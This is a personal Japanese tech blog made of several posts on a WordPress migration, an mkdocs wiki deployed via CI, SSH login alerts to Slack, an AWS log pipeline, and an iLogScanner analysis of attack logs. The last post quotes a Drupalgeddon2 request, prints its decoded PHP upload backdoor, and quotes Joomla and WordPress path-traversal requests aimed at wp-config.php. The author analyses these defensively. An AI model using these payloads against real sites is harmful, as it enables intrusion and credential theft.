WordPressをManaged Serviceに移行

これまでは,さくらのVPSを使って運用していました.自分のブログのためだけに仮想マシンのメンテナンスをするのが面倒になったのでKAGOYA JAPANのWordPress専用サーバーに移行してみました.

WordPressのコンテンツ量が多いせいか標準の移行ツールでインポートができず,最終的にはphpMyAdminでダンプしたテーブルをインポートすることで対処しました.MySQLデータベースの wp_postsテーブルとwp_postmetaテーブルをコピーして,wp-content/uploadsにメディアファイルをアップロードすれば正常に動作するようです.

KUSANAGIの速さに驚かされています.自分でチューニングや設定を行っていたことから開放される,従来よりも安い価格で運用できるので満足しています.

Creating Private Wiki by mkdocs + GitLab CI + Heroku

I was looking for private wiki written by Markdown. This post introduces how to create a private wiki by mkdocs + GitLab CI + Heroku.

mkdocs

mkdocs is simple document builder from markdown to html. Used theme is material.

mkdocs.yaml

site_name: Notebook
theme:
  name: 'material'
  language: 'ja'
extra:
  search:
    language: 'ja'

GitLab CI

Putting a config file .gitlab-ci.yaml in root path on git repository.

.gitlab-ci.yaml

build-mdfiles:
  image: python:3.7-alpine
  stage: build
  script:
    - pip install -r requirements.txt
    - mkdocs build
    # test
    - apk add git
    - git clone --depth 1 https://github.com/nulltask/heroku-static-provider.git static-site
    - cd static-site/
    - git config user.email 'koya@koyama.me'
    - git config user.name 'koya'
    - git remote add heroku https://heroku:$HEROKU_API_KEY@git.heroku.com/$HEROKU_APPNAME.git
    - git pull heroku master
    - cp -r ../site/* public/
    - git add .
    - git commit -a -m `date +deploy_%Y%M%d_%H%m%S`
    - git push heroku master

Setting secret variables on Repository.
Settings => CI/CD => Variables

GitLab Setting

Heroku

Following these steps:

  1. Create Heroku account
  2. Setup Heroku CLI ENV
  3. Create a site on Heroku
    1. heroku create
  4. Optional: If you wish to use BasicAuth, you should run theses commands.
    1. heroku config:set -a=koyawiki USER=YOUR_USER
    2. heroku config:set -a=koyawiki PASS=YOUR_PASS

On Merge Request created

Running CI
CI Console
Build Wiki

SSH接続をSlackへ通知する

SlackへSSH接続があると通知する仕組みを設定したのでメモしておきます。

OpenSSHへ接続すると /etc/ssh/sshrc が実行されることを利用した。以下のファイルを /etc/ssh/sshrc として配置してパーミッションを設定する。

#!/bin/bash

# [how to use]
# 1. put this file as a /etc/ssh/sshrc
# 2. change file permission with "chmod 755 /etc/ssh/sshrc"

PATH=/usr/bin:/bin:/sbin:/usr/sbin
TIME=`LANG=C date "+%Y/%m/%d %X"`
USER=`whoami`
IP=`who | tac | head -n 1 | cut -d'(' -f2 | cut -d')' -f1`
SERVER=`hostname`

SLACK_MESSAGE="`${USER}` loggined `${SERVER}` at `${TIME}` from `${IP}`"
SLACK_WEBHOOK_URL='https://hooks.slack.com/services/XXXXXXXXXXXX'
SLACK_CHANNEL='#alerts'
SLACK_USERNAME='ssh-notice'
SLACK_ICON_EMOJI='fish'

curl -X POST --data-urlencode 'payload={"channel": "'"$SLACK_CHANNEL"'", "username": "'"$SLACK_USERNAME"'", "text": "'"${SLACK_MESSAGE}"'", "icon_emoji": "'":${SLACK_ICON_EMOJI}:"'"}' ${SLACK_WEBHOOK_URL}

動作の様子

WebサーバのログをS3→Lambda→AWS ElasticSearchで解析

S3にログを上げると自動でAmazon Elasticsearch Serviceへ投入するよう自動化に挑戦してみた。以下のページを読めば普通にできる。

Amazon Elasticsearch Service にストリーミングデータをロードする – Amazon Elasticsearch Service

アーキテクチャ

S3 -> Lambda -> Amazon Elasticsearch Service

いずれのサービスともリージョンが同一になるよう注意する。

S3のバケット作成

tfファイルを残すほどでもないのレベルではあるものの、一貫性を保つために残しておく。

provider "aws" {
  region = "ap-northeast-1"
}

resource "aws_s3_bucket" "b" {
  bucket = "log-store-base"
  acl    = "private"

  tags = {
    Name        = "My bucket"
    Environment = "Staging"
  }
}

Elasticsearch Serviceのドメイン作成

インスタンスは月750時間まで無料枠があるt2.micro.elasticsearchを選んだ。無料枠があるストレージはSSD 10GiBを選んだ。IP制限をしている箇所の 0.0.0.0/32 は適宜

provider "aws" {
  region = "ap-northeast-1"
}

variable "domain" {
  default = "reiwa0407"
}

data "aws_region" "current" {}

data "aws_caller_identity" "current" {}

resource "aws_elasticsearch_domain" "es" {
  domain_name = "${var.domain}"
  elasticsearch_version = "6.4"

  cluster_config {
    instance_type = "t2.small.elasticsearch"
  }

  ebs_options {
    ebs_enabled = true
    volume_size = 10
  }

  snapshot_options {
    automated_snapshot_start_hour = 23
  }

  access_policies = <<POLICY
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Action": "es:*",
      "Principal": "*",
      "Effect": "Allow",
      "Resource": "arn:aws:es:${data.aws_region.current.name}:${data.aws_caller_identity.current.account_id}:domain/${var.domain}/*",
      "Condition": {
        "IpAddress": {"aws:SourceIp": ["0.0.0.0/32"]}
      }
    }
  ]
}
POLICY
}

Lambdaの関数作成

GUI操作かtfで設定

プログラムの作成

nginxのログフォーマット(CentOS 7へパッケージ導入したnginxから抽出)

log_format main '$remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for"';

apacheのログフォーマット(CentOS 7へパッケージ導入したapacheから抽出)

LogFormat "%h %l %u %t "%r" %>s %b "%{Referer}i" "%{User-Agent}i"" combined

Pythonのサンプルコード

Amazon Elasticsearch Service にストリーミングデータをロードする – Amazon Elasticsearch Service

Node.jsのサンプルコード

amazon-elasticsearch-lambda-samples/s3_lambda_es.js at master · aws-samples/amazon-elasticsearch-lambda-samples

そのままだとApacheとNginxの両方に対応していないので修正する。また、エラー時にCloudWatchコンソールへメッセージを出力する処理を追加する。

import re
from datetime import datetime as dt

def parser(line):
    json_body = {}

    '''
    Pickup enclosed "item" in double quotes
    '''
    pattern_quote = re.compile(r'("[^"]+")')
    quote_items = pattern_quote.findall(line)

    # remove blank item in list and double-quote in string
    quote_items = [tmp.replace('"', '') for tmp in quote_items]
    if len(quote_items) < 1:
        raise ValueError

    try:
        request_line = quote_items[0].split()
        json_body['method'] = request_line[0].upper()
        json_body['request_uri'] = request_line[1]
        json_body['http_version'] = request_line[2].upper()
        json_body['referer'] = quote_items[1]
        json_body['user_agent'] = quote_items[2]
    except Exception as e:
        print(e)
        print("t", line)
        return {}

    # remove matched item in list
    line = re.sub(pattern_quote, '', line)

    '''
    Pickup item splited by space
    '''
    request_items = [l for l in line.split() if l]

    try:
        json_body['source_ip'] = request_items[0]
        json_body['remote_user'] = request_items[2]
        date_str = request_items[3].replace('[', '')
        date = dt.strptime(date_str, '%d/%b/%Y:%H:%M:%S')
        json_body['time_stamp'] = date.strftime('%Y-%m-%d %H:%M:%S')
        json_body['time_zone'] = request_items[4].replace(']', '')
        json_body['status_code'] = request_items[5]
        json_body['body_bytes'] = request_items[6]
    except Exception as e:
        print(e)
        print("t", line)
        return {}

    '''
    for p,q in json_body.items():
        print(p,q)
    '''

    return json_body


if __name__ == '__main__':
    '''
    res = parser('192.168.0.182 - - [07/Apr/2019:17:35:45 +0900] "GET / HTTP/1.1" 200 612 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.40 Safari/537.36" "-"')
    print(res)
    '''
    import sys
    with open(sys.argv[1]) as f:
        #print(f.read())
        for l in f.read().splitlines():
            r = parser(l)
            for k,v in r.items():
                # print(k, ":", v)
                pass

終わりに

AWS Kinesis Data Firehoseを使うアプローチのほうがよりリアルタイム性が高くなるらしいので、検証してみたいと思います。

Amazon Kinesis Data Firehose とは – Amazon Kinesis Data Firehose

iLogScannerでNginxアクセスログを解析(CMSを狙った攻撃を観測)

Webサーバを外部に公開すると、わるい人から攻撃を受けるわけですね。悪い人が何をしようとしたかをログから見つけることで、攻撃の対策や傾向を把握することができます。

今回はIPAで公開されている iLogScanner を使ってNginxのログを解析してみます。無償で使えるので試してみる価値はあります。

ウェブサイトの攻撃兆候検出ツール iLogScanner:IPA 独立行政法人 情報処理推進機構

実行にはJavaの実行環境が必要なので、別途でインストールしておきます。

起動すると以下のウィンドウが表示されます。アクセスログだけでなく、Mod Securityのログや認証ログも解析できます。解析対象のファイルを選択して「解析開始」を押下します。

70MB程度のログだと5分ほどで解析が終わりました。解析途中でもサマリーを表示できるのも便利です。

解析が終わると最終的なサマリーが表示されます。

細かなレポートを確認してみます。全体のうち33件が疑わしいログとして検出されました。

下へスクロールして具体的なアクセスログを見ていきます。Jetpackのアクセスがその他として検出されていることが確認できます。

その他で特徴的なアクセスとして以下がありました。

Drupalの脆弱性を狙った攻撃

102.157.247.162 - - [28/Feb/2019:23:51:19 +0900] "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=echo+PD9waHAKZWNobyAiUEhQIFVwbG9hZGVyIC0gUmFpejBXb3JNIC0gQml0Y2h6eiI7CmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnI%2BIjsKZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3piJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPgo8L2Zvcm0%2BIjsKaWYoJF9QT1NUWyd1cGxvYWQnXSkgewogIGlmKEBjb3B5KCRfRklMRVNbJ3piJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ3piJ11bJ25hbWUnXSkpIHsKICBlY2hvICJTdWNjZXNzISI7CiAgfSBlbHNlIHsKICBlY2hvICJGYWlsZWQgdG8gVXBsb2FkLiI7CiAgfQp9Cj8%2B%3D+%7C+base64+-d+%7C+tee+sites%2Fdefault%2Ffiles%2F15697.php+%7C+rm+-rf+sites%2Fdefault%2Ffiles%2F.htaccess HTTP/1.1" 301 178 "-" "Mozilla 5.0" "-"	E274

クエリパラメータとしてを解析すると以下になりました。

q=user/password&name[#post_render][]=passthru&name[#markup]=echo PD9waHAKZWNobyAiUEhQIFVwbG9hZGVyIC0gUmFpejBXb3JNIC0gQml0Y2h6eiI7CmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnIIjsKZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3piJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPgo8L2Zvcm0BIjsKaWYoJF9QT1NUWyd1cGxvYWQnXSkgewogIGlmKEBjb3B5KCRfRklMRVNbJ3piJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ3piJ11bJ25hbWUnXSkpIHsKICBlY2hvICJTdWNjZXNzISI7CiAgfSBlbHNlIHsKICBlY2hvICJGYWlsZWQgdG8gVXBsb2FkLiI7CiAgfQp9Cj8= | base64 -d | tee sites/default/files/15697.php | rm -rf sites/default/files/.htaccess

これはDrupalの脆弱性(CVE -2018-7600)を狙った攻撃であるとわかりました。

dreadlocked/Drupalgeddon2: Exploit for Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

base64でエンコードされている部分をデコードしてみます。

$ echo PD9waHAKZWNobyAiUEhQIFVwbG9hZGVyIC0gUmFpejBXb3JNIC0gQml0Y2h6eiI7CmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnI+IjsKZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3piJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPgo8L2Zvcm0+IjsKaWYoJF9QT1NUWyd1cGxvYWQnXSkgewogIGlmKEBjb3B5KCRfRklMRVNbJ3piJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ3piJ11bJ25hbWUnXSkpIHsKICBlY2hvICJTdWNjZXNzISI7CiAgfSBlbHNlIHsKICBlY2hvICJGYWlsZWQgdG8gVXBsb2FkLiI7CiAgfQp9Cj8+= | base64 -d

<?php
echo "PHP Uploader - Raiz0WorM - Bitchzz";
echo "<br>".php_uname()."<br>";
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='zb'><input type='submit' name='upload' value='upload'>
</form>";
if($_POST['upload']) {
  if(@copy($_FILES['zb']['tmp_name'], $_FILES['zb']['name'])) {
  echo "Success!";
  } else {
  echo "Failed to Upload.";
  }
}
?>base64: invalid input

デコードして現れたのはファイルアップローダのバックドアでした。これを15697.phpとして保存して、.htaccessを削除することでWebからバックドアへのアクセスを可能にしています。複数ある同様のスクリプトのうち、一部のUserAgentが python-requests/2.20.1であることも確認できました。このことから、攻撃者はスクリプトにより機械的に攻撃を行っていることが伺えます。

アップローダのタイトルに含まれる Raiz0WorM が攻撃者であると推測されます。この攻撃者は継続的にサイト改ざんを行っていることがZone-hで確認できます。調べるとこの攻撃者はPHPスクリプトをバックドアとして設置していることが確認できました。

Raiz0WorM | Zone-H.org

Joomlaの脆弱性を狙った攻撃

154989    ディレクトリトラバーサル    -               158.69.38.241 - - [28/Jan/2019:13:37:13 +0900] "POST /index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&qqfile=/../../../4p4.php HTTP/1.1" 301 178 "-" "python-requests/2.19.1" "-"   C446

パラメータqqfileの値がいかにもディレクトリトラバーサルです。特徴的な文字列として com_b2jcontactがあります。これはJoomlaのプラグインの名称だとわかりました。脆弱性 CVE-2017-5215を狙った攻撃であると判断しました。

NVD – CVE-2017-5215

エクスプロイトを比較すると類似していることが確認できます。

Joomla Codextrous Com_B2jcontact Components 2.1.17 Shell Upload Vulnerability – CXSecurity.com

WordPressのプラグイン/テーマの脆弱性を狙った攻撃

167307	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:27 +0900] "GET /wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

テーマmTheme-Unusの脆弱性を利用してwp-config.phpの情報取得を試みた形跡が確認できます。2015年にも確認できている攻撃であるため、昔からの手口かと思われます。

今月の攻撃と怪しい接触(2015年8月版) | arbk-works Blog

167309	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:28 +0900] "GET /wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=../../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

プラグイン wptf-image-gallery の脆弱性を利用してwp-config.phpの取得を試みた形跡が確認できます。

167311	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:30 +0900] "GET /wp-content/plugins/recent-backups/download-file.php?file_link=../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

プラグインrecent-backupsの脆弱性を利用してwp-config.phpの取得を試みた形跡が確認できます。

167313	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:31 +0900] "GET /wp-content/plugins/simple-image-manipulator/controller/download.php?filepath=../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

プラグイン simple-image-manipulatorの脆弱性を利用してwp-config.phpの取得を(ry

167315	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:33 +0900] "GET /wp-content/plugins/google-mp3-audio-player/direct_download.php?file=../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

プラグイン google-mp3-audio-playerの脆弱性を利用して(ry

332315	ディレクトリトラバーサル	-           	192.99.35.149 - - [05/Mar/2019:23:57:58 +0900] "GET /wp-content/plugins/eshop-magic/download.php?file=../../../../wp-config.php HTTP/1.1" 404 134 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" "-"	C446

プラグイン eshop-magicの脆弱性を(ry

332317	ディレクトリトラバーサル	-           	192.99.35.149 - - [05/Mar/2019:23:58:01 +0900] "GET //wp-content/plugins/ungallery/source_vuln.php?pic=../../../../../wp-config.php HTTP/1.1" 404 134 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" "-"	C446

プラグイン ungalleryの脆弱性を(ry

まとめ

CMS本体の脆弱性を狙った攻撃、CMSのプラグインの脆弱性を狙った攻撃が観測できました。アクセスログの解析をしたことで、攻撃の実態を把握することができました。WordPressのプラグインに注意したいと改めて感じました。

いかがでしたか?